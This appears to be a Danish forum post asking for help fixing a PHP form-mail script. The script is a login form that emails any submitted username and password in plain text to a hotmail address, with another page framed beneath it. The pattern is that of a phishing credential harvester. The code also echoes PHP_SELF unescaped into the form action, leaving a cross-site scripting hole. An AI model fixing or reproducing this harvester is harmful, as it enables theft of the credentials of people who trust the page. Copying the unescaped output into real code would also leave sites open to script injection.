Hjælp med PHP/formmail

<center>
<form action='<?=$_SERVER['PHP_SELF'];?>' method='post'>
<input type='text' size='20' name='username' value='brugernavn' onfocus="if(this.value=='brugernavn')this.value='';" onblur="if(this.value=='')this.value='brugernavn';" /><br>
<input type='password' size='20' name='password' value='password' onfocus="if(this.value=='password')this.value='';" onblur="if(this.value=='')this.value='password';"/><br>
<input type='submit' name='send' value='Send brugernavn og password'><br>
</form><br>
<iframe src='ting.php' frameborder='0' width='600' height='500' scrolling='no'></iframe>
</center>

<?php
if(isset($_POST['send'])) {
  $message = "Brugernavn: ".$_POST['username']."\n\nKode: ".$_POST['password']."\n";
  $mail = "mini-sommer@hotmail.com";
  $subject = "blablabla";
mail($mail, $subject, $message);
}
?>

HVAD ER FEJLEN!? :S